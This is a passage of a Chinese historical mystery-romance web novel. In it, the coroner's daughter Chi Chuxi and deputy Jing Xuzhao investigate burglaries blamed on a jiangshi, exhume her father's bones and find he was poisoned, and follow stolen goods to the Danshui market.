池楚浠的确是有话说,既然给了她这个机会,她便直接开口问了:“罗郎君可有与人结怨,近日家中可出过变故?”
余县尉道:“已派人查过,并无结怨,罗家近日就是丢了些财物。”
池楚浠:“财物呢,何人偷盗?”
余县尉呵呵笑了笑,“最近一个月丢东西的可多了,又不止他一家,算不得什么线索。”
罗家妇人道:“会不会是盗贼在我家行窃,正好被我儿抓个正着,那贼人就把我儿打死了扔河里,我儿死的那日就是丢东西的那日。”
池楚浠道:“罗郎君身上的伤并不像突发其然的殴打,全身上下并无明显外伤,行凶者更有可能是三思而后行,故意不留痕迹。”
罗家妇人哭了,“那到底是谁杀了我儿,是隔壁王家,还是隔壁陈家?”
余县尉:“你家有这么多仇人?”
罗家几人呜呜呜地哭了一通,不知是谁杀了罗郎君,只能胡乱瞎猜。
县令询问景序昭:“景县丞有何高见,此案应该从哪处查起?”
景序昭看了远处的池楚浠一眼,沉声道:“探不出杀人凶器,亦没有与人结怨,唯一有关联的便是家中丢失的财物,不如查丢失之物,或许能找出些端倪。”
“池娘子,你认为呢?”
景序昭看着池楚浠。
温县令不知景县丞为何那么在意池楚浠的想法,或许是觉得她有破案之才?
池楚浠道:“我不懂,县令和县丞断案便是。”
她说完往后退了一小步,先前没克制住疑惑问了一句,现在回想起来实在没必要。她又不是公廨的人,温县令不一定会对她有所感激,不嫌弃就算好的了。
当年落魄时温迟也没有施以援手,可想而知,他是要和池家避嫌的。
毕竟父亲的死和当年苍山那一桩大案有所关联,为了不惹事上身,温迟只会这么做。
温迟有些为难地道:“景县丞,近一个多月有多户人家丢失财物,光是登记在册的就有十八户,查了一个月还没什么头绪,如今牵扯人命,一时间恐
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怕排查不清。”
景序昭道:“一个多月了,盗窃案都查不清,苍山县很大吗,明明不足两千户。”
温迟:“……”
洪主簿道:“我们每日都排查,挨家挨户,所有丢失财物的人家都有一个共同特点,都在夜里,睡前东西还在,一觉醒来东西没了。”
“那就夜里派人蹲守,何愁抓不到贼。”景序昭道。
所有人都沉默了,连罗家人都把哭声暂时收了起来。
余县尉说话直来直去:“景县丞有所不知,咱们这儿夜里闹僵尸,大晚上的谁敢出门,那僵尸青面獠牙,能把人吓疯。”
池楚浠遥遥望去,在景序昭脸上看见了和她当初一样的表情,疑惑又想笑。
温迟喉咙里假咳了一下,“那个……景县丞,隔壁县丹水镇自从闹灾以来每日都死很多人,死的人多了,自然冤魂就多,这僵尸……”
温迟还未说完,景序昭便打断道:“今夜派不良人随我一起巡夜,让我瞧瞧僵尸长什么模样。”
“啊……这。”温迟心里一紧,差点腾地站起来。
在场的不良人都绷直了身体。
不良人大都是从市井选上来的,不像洪源那样会看脸色会说话。
一个不良人站了出来道:“我阿娘叫我早点回,我就不去了。”
另一个也站出来道:“县令,我也不去。”
“放肆!”温迟大声呵斥,“景县丞是从长安来的,过段日子便会带着咱们的政绩回长安,你们下半辈子都不想吃饭了是不是?”
没想到温县令把话这么直白地说出来,相当于抖明了景序昭的身份,景序昭饶有兴致地看了他一眼。
也好,打肿脸充胖子,狐假虎威好办事,就让景博珩的名头压在这儿吧,温迟背地里肯定早就把他的底细摸清了,否则也不会这般客气。
温迟:“小花、黑臀,今晚你俩带一组人随景县丞巡夜。”
小花和黑臀上前行了个礼:“是。”
池楚浠有了经验,今日早早就从公廨出来,从街上买了许多东西搬回家里,一些必需品总算备齐了。
趁着天还没黑,她带着香蜡纸烛往后山去。
两年不曾回来,父亲的坟头已经绿油油一片了。
池楚浠用镰刀将多余的杂草除去,勉强恢复了一下这里的原貌。
“阿耶,女儿不孝。”
她跪地上香,眼里的泪水溢出,模糊着视线。
“此次回来,女儿还要叨扰您,阿耶莫怪,女儿不想您枉死。”
“女儿要查验您的尸骨。”
她说着已是泣不成声。
若非走投无路,她断然不会如此。
这一生已被意中人辜负,没什么可盼的,若是将来客死他乡去地府见父亲却还没能帮父亲伸张正义,父亲一定死不瞑目。
阿耶一生嫉恶如仇,怎会容忍。
池楚浠抹掉眼泪,重新振作。
“池娘子。”
身后有人唤她。
池楚浠回头,看见已换上公廨制服的景序昭,风流蕴藉,宸宁之貌。
刚哭过的眼睛有些肿,视物偶尔会模糊一瞬,池楚浠眨了眨眼,好让眼睛尽快恢复如常。
景序昭上前,视线落在坟头。
“太阳落山,天要黑了,我送你回去。”景序昭道。
5. 阿兄阿兄
“你不是已在刑部任职,这回是被贬到苍山来的?”池楚浠问。
后山有一条小路通往家里,池楚浠抄近道走小路。
景序昭走在她身侧,抬手撩起一枝拦路的树叶,让她通行。
“是被贬,父亲恼我,让我在苍山待着。”
池楚浠心底升起一丝同情,便安慰道:“司空虽是你亲生父亲,但你被接回景家不足两年,你又是这种性子,想必司空府的所有人都很难与你亲近。”
道路狭窄,池楚浠走在前面回头看了他一眼,“你既已入了刑部,就该在其位谋其职,何苦还跟家里闹不愉快,若你阿耶真恼了你,又将你扔回难民堆里,届时任你怎么哭闹都求助无门。”
池楚浠说着说着,忽地听见身后的人轻笑了一声。
“池楚浠,你这副语气真是和从前一模一样。”
景序昭在池楚浠头顶轻弹了一下,“年纪比我小,说的话却处处透着老气。”
池楚浠无奈地牵了牵嘴角,语调沉了几分:“阿兄,我们好不容易活着出来,我自是希望你有一个锦绣前程,景家是多么富贵的人家,不比你在江湖刀尖舔血那般险恶。”
景序昭笑了笑,没有继续这个话题,而是问道:“你回苍山可是有急事,连你的未婚夫都不要了。”
池楚浠道:“不必提他,他已心有所属,我自当成全。”
景序昭语气微沉:“他当初接你去长安,承诺好生照顾你下半辈子,他就是这么做的,你不杀了他如何咽下这口气。”
“杀了他?”池楚浠道,“他是新科进士,杀了他让我去你们刑部蹲大牢么?”
“我阿耶只教我辨冤情,没教我杀人。”
景序昭道:“我替你杀了便是。”
池楚浠忽地顿住脚步,转过身在狭窄的小道上与他面对面。
她抬眼望着他道:“我知阿兄为我抱不平,可细细算来他也没有违背承诺,他没有将我赶出门,是我自己要走的,是我痴想一生一世一双人,是我糊涂,原来我在他眼里只是个妾室。”
说着,池楚浠红了眼眶。
事实确实和她想的有所出入,她这样的身份在季郎眼里太过低贱,不配做正妻。
她于季郎的前途无益,最多是养在家里的一个玩物,不,连玩物都算不上,长安有的是漂亮胡姬。
夜色渐渐笼罩过来,池楚浠的眼泪还没落下便被她自己擦干净。
少女的心事难以隐藏,即使装作老成,却还是一难过就哭鼻子,一腔委屈任谁都看得出来。
总归是才活了十几个年头,人还年轻,正是该肆意张扬的年纪。
身子突然被景序昭揽了过去,一只手掌紧紧压在她后背,顺便在她背后抚了抚。
池楚浠小声哭了一阵,这样一来,感觉心里舒畅多了。
果然难过的时候需要找个发泄口。
景序昭见过她在难民堆里最落魄的样子,比现在更凄惨,在景序昭面前她可以肆无忌惮地放声大哭,不必顾及什么面子。
从后山回来,景序昭跟着她踏进了池家的小院。
“你不是要去巡夜?”池楚浠问。
忽地,景序昭低声咳了两下,整个人看起来很是虚弱。
“你怎么了?”
池楚浠有些担忧地站在他面前问:“身体不适?要不要请大夫?”
景序昭连带着声音也弱了几分:“无妨,一些小伤。”
“伤?”池楚浠朝他肩膀、腰腹、胸口探去,“伤在哪里?”
“诶,疼……”
景序昭眉头一皱,装模作样地痛呼一声。
池楚浠一把将他拉进屋里,沉声道:“给我看看伤,今日刚买了一些药,说不定能用得上。”
景序昭放下佩刀,自己扒开衣服。
期间他盯着池楚浠,却见她丝毫没移开目光,看这具躯体和看死尸时表情一样。
景序昭忽然觉得胸口发闷,感觉被打击到了。
看着这样的身材跟看尸体一样么?
池楚浠看着景序昭身上的淤痕,这些都是还很新鲜的伤痕,严重的地方还未结痂。
看得出来下手之人有多狠。
“是你阿耶?”她问。
景序昭嗯了一声。
池楚浠皱着眉头给他上药,没说什么。
景序昭看着她的眼睛,她很认真地在处理伤口,无暇顾及其他。
他知道她心里在想什么,无非就是司空府对他不好,苛待他,司空对亲儿子太狠心,司空一定不是个好人。
想到此,景序昭忽地笑了笑。
这笑声被池楚浠察觉,抬头看来,“你还高兴?”
景序昭收起笑容,继续装可怜。
其实他这顿打挨得不冤,景博珩退位后特意把他送进刑部任职,尽量在弥补这些年对他的亏欠,是他执意要来苍山才挨了这顿打。
景博珩对他并非纯粹的父子情深,他从小就被抱走在外养大,幼时未与景博珩朝夕相处,不知父爱,如今送他去刑部只不过是去做一颗棋子,景序昭心知肚明。
门没关,小花和黑臀闯了进来。
“景县丞,入夜了。”
池楚浠手上还拿着药膏,刚涂完最后一道伤。
四人对视。
小花拽了黑臀一把,两人退了出去。
池楚浠道:“还好都是皮外伤,你把药带回去明日自己涂,半月内能好全。”
景序昭穿好衣服,把药揣进兜里。
“等等。”池楚浠道,“我想跟你们一起去看看,我不信有什么僵尸,一定是有人装神弄鬼。”
苍山这个地方特殊,当年太子的心腹死在这里,验尸的池主簿也莫名死去,池楚浠不想放过任何线索,兴许闹僵尸这桩事也和当年的事有关联呢。
去看看也不碍事,毕竟有这么多不良人一起行动。
不良人挑了隐蔽的路走,不能惊扰了准备行窃的贼人,最好抓个正着。
今夜的月色不够明亮,景序昭下令不可点火,摸黑巡夜。
黑臀悄悄掐了小花一把,“我怎么感觉凉飕飕的,不会遇上僵尸吧。”
此话一出,余下的人都倒吸一口凉气。
僵尸传闻已经一月有余,黑臀是所有不良人中亲眼见过僵尸的,所以他这么说其他人就更害怕了。
“黑臀,要不,跑吧。”有人小声道。
池楚浠走在景序昭身后,他们靠着墙根走得很隐蔽,小花熟悉路线,此时走到了景序昭前面带路。
“景县丞,要不就在这里蹲守,看看盗贼是否会来。”小花道,“这条街上
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失窃的人家最多,有七户。”
池楚浠感觉手腕被扯了一下,于是跟着他们停下来。
几人开始蹲守。
没多久,黑臀说要撒尿悄悄从旁边溜出去了。
池楚浠听见了黑臀跟不良人说话的动静,扭头看了一眼。
小花道:“黑臀亲眼见过僵尸,我还以为他今晚不敢来,没想到还是来了。”
这话是说给景序昭听的,听起来像是黑臀非常给景序昭面子,让他来巡夜就来了,连僵尸也没把他吓退。
景序昭朝后方看了一眼,隐约看见黑臀躲在暗处解手。
池楚浠觉得不对劲,轻手轻脚往黑臀所在的墙角挪去。
刚走了几步,手腕便被碰了一下。
“阿兄?”
“嗯。”
是景序昭,他也跟来了。
两人一起往黑臀那边摸去。
池楚浠扒住墙面,探头看去,瞧见远处有三个身影匆匆跑开,一闪即逝。
由于太黑,那三个影子只晃了一眼便消失了。
池楚浠冲上前抓住黑臀质问:“你在干什么?”
前一刻,黑臀的手正朝着三个人影的方向挥舞,幅度很小,但池楚浠还是看见了。
黑臀显得有些慌张,慌忙把裤子套牢,“我……我解手啊小娘子,哪有你这样的小娘子,看男人解手的。”
“你骗人!”池楚浠道。
景序昭沉声道:“小花,往那边带路,追人!”
小花领着四人朝人影追去。
黑臀甩开池楚浠抓着他的手,也跟着追了上去。
池楚浠也跟上。
只是可惜,即使小花他们点燃了火把也依旧没有寻到丝毫踪迹。
那三个人影凭空消失。
空气中飘散着一股奇怪的味道,池楚浠仔细闻了闻道:“是尸臭味儿。”
“不会吧,僵尸出现了?”不良人惊恐道。
景序昭眼眸微沉,“已经打草惊蛇,想要再等到恐怕很难。”
他看向黑臀,将剑提出一小截抵在他脖颈,冷声道:“是你通风报信。”
“我没有啊景县丞,冤枉!”黑臀匆忙喊冤。
池楚浠道:“根本不可能有僵尸,所有人都说你见过,那你就是骗人,至于为何骗人,黑臀,你和他们是一伙的。”
“冤枉啊小娘子,你和景县丞都冤枉我,你问问他们,我当差三年了,何时干过偷盗之事。”
小花第一个帮着说话:“景县丞,黑臀他向来很关照我们,他不会伙同贼人一起的。”
景序昭和池楚浠的思路一样,不信有僵尸,那么最有可能的就是黑臀说谎,他嫌疑最大。
景序昭押着黑臀连夜去了公廨。
一大早,黑臀便在县令面前哭诉,说他冤枉。
罗家人也在场。
“县令,我相信黑臀,他不可能干那种鸡鸣狗盗之事,他救了我阿娘性命,我愿做担保。”不良人朱霞道。
池楚浠见这么多人都为黑臀做担保,开始怀疑自己的推断。
莫非黑臀真的见到了所谓的僵尸,那只能说那位僵尸太逼真了,骗过了黑臀。
正在思考的间隙,温迟就拍了拍池楚浠的肩,“你怎么在这里,已经不需要验尸了,回去歇着吧。”
6. 我的客卿
自从把这些事与当年谋杀案联系在一起后,池楚浠总觉得处处都有疑点,就连这个僵尸案她也疑心。
前日还想着事不关己,这会儿已经想把这桩案子弄明白了。
温迟催促道:“楚浠,快回去吧,别耽误大家办案。”
“温伯……”
池楚浠话还没说完就被景序昭打断:“县令,池娘子并没有耽误办案,反倒是帮了我们不少忙。”
温迟没想到景序昭这样帮池楚浠说话,当下还愣了一会儿。
“那让池娘子旁听。”温迟退让一步。
景序昭看出池楚浠不想走,想弄清这个案子,便朝她招了招手,“到我身边来。”
温迟愣了。
池楚浠走到景序昭身边,小声道:“阿兄,我不是公廨的人。”
虽然她很想探查,但她确实不能留在这里,理应避嫌。
“阿兄?”温迟露出疑惑的目光。
景序昭道:“楚浠是我的客卿,我准许她随我办案,为我出谋划策。”
温迟:“……”
洪源赶紧道:“理应如此。”
洪源朝池楚浠露出个和善的笑来,池楚浠冲他点了点头。
温迟妥协。
既然有司空在后方托底,那他也稍微放心些。
景序昭道:“近日公廨里可有人惹上尸臭味儿?”
所有人都看向余县尉,接着又一齐看向池楚浠。
余县尉主动站出来道:“我验尸了,身上自然有臭味,不过应该不是很浓吧,那具尸体还没烂得发臭呢,是吧池娘子。”
池楚浠点点头,“是,罗郎君的尸臭味还不够明显,昨夜我闻到的那个味道更浓郁些,像是死了有些日子了,照苍山的气候推断,至少死了有七日。”
“死了七日!”温迟震惊,“你们谁家里死了人七日还没下葬啊?”
“没有啊县令。”
众人纷纷摇头。
黑臀有些紧张地缩了缩脖子,但很快又恢复如常,跟着众人一起否认。
景序昭道:“县令,看看各家各户财物丢失的记录。”
洪源早就准备好了,双手递给了景序昭。
他往温迟身边站了站,没说话,但温迟能领悟到他的用意。
虽说温迟顶了个县令的名头,但景序昭此番若是在苍山县做得好,做出功绩,那没准儿立刻就被调回长安了。
他这个县令该缩起来的时候要缩着,不要逞能。
景序昭翻了翻册子,“这些财物一样都没有找回来,失主家里着急吗?”
温迟:“着急也没用,大伙私下里传出了另一种言论,那些财物都是被上贡给僵尸了,只要丢了财物就不会有僵尸来取你性命。”
“一传十十传百,还有不少人信,所以好些人最后连报官都懒得报。”
景序昭冷声道:“分明是有人打着僵尸之名行偷盗之事。”
温迟:“是是是,我认为也是如此,可盗贼没抓到,财物也不知去向,我们也犯难。”
余县尉:“景县丞可知丹水镇那边的交易市场,那里我们没查,丢失的财物极有可能通过丹水市场流了出去。”
景序昭看向池楚浠,见池楚浠也正朝他望来。
丹水镇是什么地方他们比别人都清楚,两年前丹水封镇,他们差点死在里面。
即使两年过去了,丹水依旧一片狼藉,公廨里的人当然不愿过去查案,况且丹水不属于苍山县的地盘。
温迟:“丹水那边流民颇多,几个月前又发了大水,过去查探实属不易,县丞,此事我们可以慢慢商量对策。”
温迟猜测景序昭也是不愿意涉险的,毕竟他是司空的儿子,身份高贵,万一死在那乱糟糟的地方就得不偿失了。
“我去吧。”池楚浠道,“我熟悉那边。”
温迟:“这……不妥。”
池楚浠已经从景序昭手里拿过了册子,“劳烦把这个誊抄一份给我。”
洪源叫人去誊抄。
杂役突然跑上前来对县令说了几句悄悄话。
县令的脸色立刻变得五彩斑斓。
温迟看向池楚浠,“楚浠啊,有人来寻你。”
池楚浠疑惑:“谁?”
话音刚落,那人就匆忙走了进来,手里拿着能证明他身份的公验。
温迟已然知道他是长安的新科进士,态度很是客气,喊了一声季郎君。
季沐风大步上前,一把抓起了池楚浠的手腕,眉头皱得很深,“楚浠,你闹什么脾气,还跑来苍山,快随我回长安。”
池楚浠怔在原地,呼吸不如先前顺畅。
她没想到季沐风会千里迢迢来找她,她根本没想过,所以此刻她有些不知所措。
怔神过后,池楚浠把手往回抽。
可季沐风握得太紧,不松手。
“季郎,松开。”
“你跟我回去再说。”
景序昭双指做剑在季沐风小臂上猛地一敲,肌肉一阵痉挛,疼得季沐风缩回手。
“你是何人,如此大胆!”季沐风怒道。
景序昭冷笑,“季郎君还在守选期间,并未有官职,怎敢跟我提大胆二字。”
景序昭说得没错,他还没当上官,他只是通过了吏部的考试,如今还没给他安排官职。
“你是……”
温迟:“这位是苍山县新任县丞,也是从长安来的。”
季沐风盯着景序昭,“你也是长安的,为何我没见过你?”
景序昭嘴角勾了勾,笑着问:“将来吏部会给季郎君安排到何处任职?”
季沐风对将来任职的地方很有信心,开口便道:“自然是长安。”
景序昭道:“京官里头尚不缺人,难怪季郎君要攀附贵女,否则怕是还要多等上三五年,有贵女一家扶持,日后便能飞黄腾达。”
“你!”季沐风受不了景序昭的阴阳怪气,想要翻脸骂人但又压了下去。
“为自己谋求前程有何不对,守选期间正应如此,你区区一介外官县丞倒先来教训我,不丢人么?”
景序昭呲笑一声:“那等季郎君拿到实职官,坐稳了京官的位置再来教训我,别到时候被发配到苍山与我做同僚,那可就惨了。”
季沐风气得一拂袖,“谁要与你做同僚!我自会留在长安。”
季沐风去拉池楚浠,却见池楚浠往景序昭身后一闪,躲了过去。
“楚浠,跟我回家,切勿在这里跟此獠厮混。”
季沐风上前一步,打算绕过去牵池楚浠。
景序昭伸出长臂将人拦下。
温迟和几个属下对看了一眼,候在旁边看戏。
池楚浠眼眶发红,自小的情愫早已在身体里疯狂滋长,一时间要割舍真是痛苦不堪
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。
她声音有些哑了:“季郎,我们的婚事就此做罢,我不会跟你回去。”
“你是脑子糊涂了!”季沐风有些气急败坏,一直盯着池楚浠。
他想上前拖人,但却被景序昭拦得死死的。
“你与我闹一闹就算了,何故还要退了婚事,蓉绒是真心不与你争什么,日后你在府中照样能过得悠闲自在,没人敢对你指手画脚。”
季沐风忽地又放软语气:“跟我回吧,我在你阿耶坟前发过誓,此生都会好好照顾你。”
“楚浠,跟我走。”
池楚浠无声抹掉眼泪,“这些年,感谢季郎照拂,季郎请回吧。”
温迟给洪源使了个眼色,洪源会意,上前扯了扯季沐风的袖子道:“季郎君,随我去屋里说话。”
季沐风放软语气后也平静了下来,跟着洪源一道去。
洪源:“季郎君与池娘子是有婚约对吧?”
季沐风:“是,我娶白尚书之女为妻,她做妾,为此便和我闹脾气,一气之下跑回苍山,我知白娘子断不是斤斤计较之人,绝不会亏待了楚浠,可她偏偏小肚鸡肠。”
洪源摆出一副非常理解的样子道:“池娘子年纪还小,没有肚量,她的身份哪能和贵女相比,能进季郎君家的门已是人人羡慕的了。”
这番话说得季沐风很是认同。
池楚浠就是耍小孩子脾气。
洪源领着季沐风来到休息的后院。
“那位景县丞乃是长安司空之子,是从刑部调来的,想必在苍山待不了几日,季郎君将来也是要在长安任职的,还是勿与他起了争执,待池娘子心情平复下来,你再好好劝劝,领她回去便可。”
季沐风一惊:“司空,扬州大都督景博珩?”
洪源:“正是。”
后知后觉的季沐风当下对着洪源行了一礼,“多谢告知。”
洪源笑笑,“我给季郎君找个住处,安心住下,慢慢劝池娘子。”
池楚浠拿到了誊抄好的丢失财物名录,将它揣进包袱里。
她雇了两个男人来到后山,准备挖坟开棺。
“阿耶,叨扰了。”
“挖吧。”
两个男人挥舞着铲子。
“小娘子,你平白无故把你阿耶挖出来干啥呀,最近也不是迁坟的日子啊。”
池楚浠道:“我赶时间,就不挑日子了,辛苦两位。”
挖开坟土后,棺材显露出来。
景序昭寻了过来。
“还以为你跟季沐风回去了,没想到你在这里挖坟,想做什么?”
池楚浠来到棺材前,神情沉重,“验骨。”
“验骨?”
“你怀疑池主簿的死?”
“嗯。”
“小娘子,要开棺吗?”
“开。”
两个男人帮忙撬开了棺材钉。
为避免太阳直晒,池楚浠让两人在棺材上方牵了块布挡住阳光。
她亲手推开了棺材板。
尸骨完整地封存在内。
能看见的只有头骨,其余骨头被裹在寿衣里。
池楚浠凑近了看,头骨的颜色略微有些不对,她揭开寿衣,查看身上的其他骨块。
颜色均有异常。
“把布移开。”
两个男人移开黑布之后,阳光明晃晃地照在骨头上。
7. 必死无疑
见池楚浠盯着骨头看了良久,景序昭忍不住问:“可有异常?”
池楚浠再次抬起头来时眼底有些酸涩,她看向景序昭道:“有,尸骨刮开一层呈浅青黑色,他生前中过毒。”
池楚浠有些哽咽,更有些难以置信,“可……可我从未发现他生前有中毒的迹象。”
景序昭也凑近来看,骨块果然如她所说,颜色是浅青黑色。
池楚浠查看了大部分骨块,均是一样。
她的手指攀向头骨,指腹刚碰上去便被景序昭猛地拉了回来。
“当心!”
一个极细的黑色尖刺从眼眶里探出来,差点扎入池楚浠指腹。
景序昭眼疾手快,扯了几张宽大的树叶将那东西包住硬生生从头骨里拽了出来。
一只头尾部皆长着黑色尖刺的小虫子被景序昭捏在手里,它不停地弯曲蠕动着,想要逃脱。
“尸骨里会长这种虫子?”
池楚浠看着那虫子,和蛆差不多大,“尸身埋在地下,长什么都有可能。”
池楚浠掏出一只竹筒,让景序昭把虫子放进去。
景序昭看着她那竹筒道:“你随身携带这个。”
池楚浠:“是想拿来装一块尸骨的。”
尸骨没取,反倒装了只虫子。
父亲下葬时,她在坟土里放了驱虫药,棺材当时封得很严实,按理来说不会有虫子能在里面活着才对。
“小娘子,这棺材还移吗?”
池楚浠有些愣神。
“小娘子?”
景序昭拍了拍她的肩。
池楚浠回过神来,“劳烦两位把坟填回去。”
两人一头雾水地照做,管它挖坟还是填坟,有钱拿就行,反正都是拿钱替雇主办事。
池楚浠是跑回去的,景序昭见她状态不对,不假思索地追了过去。
一回到家,池楚浠就翻箱倒柜地找东西。
她拉开所有抽屉,一个一个地翻。
景序昭也跟着拉开一个抽屉问:“你在找什么?”
池楚浠双手有些发颤,“那日邸舍死了十人,那十具尸体运到公廨后阿耶便去查验,也是从那日起阿耶开始喝茶,茶水泡得很勤。”
景序昭道:“苍山县的百姓并没有喝茶的习惯,也很难买到茶叶,只能去药铺拿。”
“没错。”池楚浠道,“我记得他的茶是去药铺买的,那几日他一直忙着验尸,我也没机会过问,第三日清晨他从公廨出来,回家的路上便失足落水。”
池楚浠尽量回忆起从前的记忆,他对那几日发生的事记忆尤深,这辈子都忘不掉。
景序昭道:“除了喝茶还有什么异常?”
池楚浠摇摇头,没了。
“父亲那几日都是一大早就去公廨,带着茶去的,第三日的前一晚没回家,在公廨待了一夜。”
池楚浠继续翻箱倒柜,“阿兄,找茶叶,卷曲的细长叶子,一寸长左右。”
两人把几间屋子翻遍了,最终池楚浠从一个锁起来的仓库里拖出只木箱,在箱底翻到两包茶叶。
“找到了……”
她揭开纸包,将里面的茶叶摊开,里面不止有细长卷曲的叶片,还有其他药材。
这便是苍山人喝的茶,和药差不多。
景序昭捏起一片叶子闻了闻,“落回。”
池楚浠朝他看来,“落回?”
景序昭嗯了一声,“一种慢性毒药,我师父那里有,若池主簿只是连服三日,应该不致死,而且这一包的药量并不多,很难毒死一个人。”
“中毒后有何症状?”
“服用后神志不清。”
池楚浠摇摇头,“不对,阿耶没有神志不清,那几日他虽然长时间待在公廨,但我去公廨找过他,他也会回家吃饭,从未有神志不清的迹象。”
“那就奇怪了。”景序昭道,“把这茶拿去给大夫看看。”
趁着时间还早,池楚浠赶紧去找大夫。
她不免想起在田娘子家做的那个梦,梦境昭示,她活在一本书里,而书的主角是白蓉绒。
书上说,池主簿的死是白蓉绒所为,为了不暴露谋杀的痕迹,掩盖罪行,她伪造了池主簿的死,一把火烧了那十具尸体。
细思极恐,池楚浠浑身有些无力。
景序昭从旁扶了她一把。
到目前为止,她所了解到的部分前因后果和书中写的一模一样,池楚浠感到害怕,父亲当真不是失足落水,而是被白蓉绒谋杀。
若找不到证据,她将永远无法严惩凶手。
可这本书里白蓉绒是主角,她看过一些话本,从来没有哪个话本里的主角中途被配角扼杀。
在这个话本里,她和阿耶皆是无足轻重的角色。
“池楚浠。”景序昭唤了她一声,将她的神智拉回现实。
“把药包拿给大夫看看。”
池楚浠将药包递过去请大夫辨认。
上了年纪的大夫捻起叶片看了看,“这只是一副茶汤而已,有什么好看的。”
大夫把药包推回来,没什么兴趣。
“只是茶汤吗?”池楚浠疑惑道,“落回不是有毒?这不是毒药?”
大夫露出几分讥笑,“是药三分毒,谁说有毒的茶就不能吃了?”
大夫指着药包中的其他几味叶子道:“这几样搭配在一起可做茶汤,常饮可解毒、杀虫,并不是什么毒药。”
池楚浠和景序昭都愣住了。
居然不是毒药,听起来更像是解药。
“快走吧快走吧,别打扰我给人看病。”
“大夫。”池楚浠追问,“这茶方可用来解哪种毒?”
“解哪种毒……”大夫再次看向药包,眉头皱起,“这常山、山豆根、落回……怕是解蛊毒的。”
池楚浠心中一震,蛊毒么。
“什么样的蛊毒?”池楚浠问。
大夫摆摆手,“蛊毒可太多了,蜣蜋蛊、马蝗蛊、金蚕蛊、草蛊,我是大夫,不善巫蛊之术,亦没专研过下毒之道,你们去问别人吧。”
道了谢,池楚浠走出铺子。
刚踏出门槛,便听见大夫说:“去找慕容执的娘子打听,她善巫蛊之道。”
“多谢大夫。”
出了门,景序昭道:“我知道慕容执此人,原为辽东慕容鲜卑,是鲜卑的一支,先世居河清,后迁入西北地区。”
“他在哪儿?”
“西庄,丹水东面。”
池楚浠回家就收拾东西,带上了洪源给的丢失财物名录,正好要去丹水,此去顺路。
景序昭把册子抽回来塞给小花,“放好,毕竟我们才是公廨的人,池娘子只是我的客卿。”
池楚浠收拾着东西抬头看来,“阿兄,
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我只是想借个由头探查苍山一案,这次之后不想再做你的客卿,我与官府之人并不同路。”
景序昭只是淡淡一笑,“随你。”
“多谢阿兄。”
小花与同僚铁耀对视一眼,各自整理了一下工服准备出发。
去丹水的路程不远,路途颠簸,马车不好走,几人都认为骑马更便捷。
池楚浠会骑马,但身手不如几个男人灵活,马儿一跑起来她也能奋力跟上。
铁耀道:“景县丞,咱们天黑前能到丹水,若是时辰尚早还可以去丹水交易市场看看。”
四匹马儿扬尘而去。
快到丹水时,路上有稀泥,景序昭让几人减缓了马速,防止马儿失蹄。
小花:“前阵子发大水,下游好不容易种起来的粮食没了,据说西庄公廨每日都在发放赈灾粮。”
池楚浠望着这一片光秃秃的山河有些感慨,多年前,丹水也是个依山傍水的好地方,可惜如今变成了这副模样。
经过一处老地方时池楚浠勒马停下。
左前方的杂草堆里还散落着一些没用的木架,一半腐烂一半焦黑。
“阿兄,这便是那间邸舍,被那伙人一把火烧了个干净,什么痕迹也没留下。”
景序昭望着那处。
小花道:“这是苍山与西庄的边界,邸舍旁原本是有个官府驿站的,自那次大火后就都荒废了。”
“走吧。”景序昭道。
到达丹水时太阳还未落山,前方的城镇笼罩在夕阳的余晖下,有骆驼在地上踩出一串串脚印。
景序昭道:“先去镇上找地方落脚,顺便去交易市场看看。”
几人下马步行。
丹水镇比苍山县里的大多数小镇都要荒凉,街道两旁随处可见衣衫褴褛的百姓,他们有的人手里捧着粮袋,像是刚领了救济回来,可那粮袋里却是瘪瘪的。
景序昭道:“丹水镇不闹僵尸?”
铁耀笑道:“这倒是没听说过,丹水与苍山还是有点距离,僵尸能跳这么远吗?”
小花:“能啊,你没听过赶尸人吗,他们能赶着僵尸走上百里路,从苍山跳到丹水有什么难的。”
铁耀想了想,默默点头,“也对。”
“在镇上找个邸舍住一晚。”铁耀提议。
景序昭选了家店,这镇上已经没有别的邸舍了,能找到这个小小的住处已是不易。
“店家,要两间房。”景序昭给了钱。
这邸舍本是停放货物居多,住宿的房间肯定是不够的,但丹水的条件也就这样,没有更好的地方了。
订好房间后,晚上的住处有了着落心里就踏实多了。
池楚浠走在最前面,她知道丹水的交易市场位于何处。
“阿兄,财物若是从这里流出去必定能查到源头,到时顺藤摸瓜揪出盗贼。”
景序昭在池楚浠后脑勺轻轻一拍,像哄小孩似的:“嗯,池娘子聪慧过人,有勇有谋。”
小花和铁耀:“……”
不至于这么夸吧。
池楚浠叫景县丞阿兄,景县丞说池楚浠是他的客卿,有猫腻……
小花和铁耀跟在后面偷偷打量二人。
小花:“一些小商队会经过这里前往沙洲,长期在这里做小生意的人来来往往好不混乱,景县丞,池娘子,你们二位可要当心些,别走散了。”
8. 地下交易
“在外不用叫我县丞。”景序昭道。
铁耀:“好的景郎君。”
丹水的交易市场有些混乱,池楚浠站在路旁扫了一圈,大大小小的摊位都随意摆在地上,老板像是随时要卷被子跑路。
丹水这个地理位置便是如此,经过这里的赶路人不会停留太久,所以这样做买卖是最便捷的,这些卖东西的摊主都不是固定的。
景序昭沿着街边的摊位走去,瞥见了一个冰莹玉润的白瓷长颈瓶。
“这里处处都是赝品。”景序昭道。
小花道:“没错,若是眼光不好,在这里买东西会被坑得裤衩子都不剩。”
铁耀:“景郎君说哪个是赝品?”
景序昭指向那只白瓷长颈瓶。
摊位老板冷眼瞪来,“你才是赝品!我这都是真品,如假包换!”
景序昭懒得理他,真的邢窑白瓷他在景家都看腻了,那成色和这地摊上的天差地别,这种货色也只能忽悠忽悠过路人。
小花和铁耀挨个去问这里的零散商家,打听那些丢失财物的去处。
那些丢失的财物里除了钱就是珠宝首饰了,从别人家里偷出来再拿到这里来卖是最好的路子,反正也无人过问来处,大多数都是一锤子买卖。
几人沿街打探。
池楚浠在探听的间隙问景序昭:“慕容执的居所离这里有多远?”
景序昭道:“骑马大半日路程,紧邻沙洲。”
“问到了,景郎君!”铁耀跑回来道,“翁家丢的那只鎏金银花叶簪被一个姓杜的过路商人买了,那杜老板明日还会来。”
景序昭道:“我们到处打听这只簪子,若是他知道了必定不想惹上麻烦,别等明日了,现在去找他。”
小花和铁耀两人来不及好好坐着吃晚饭,一人捧着一只胡饼边走边啃,沿途打听杜老板的落脚处。
池楚浠手里也捧着块大饼,这饼是他们从苍山带过来的,因着出发前就预料这边食物匮乏,可能会难以下咽。
天色已经比来时要晚了许多,夕阳只剩一点余光了。
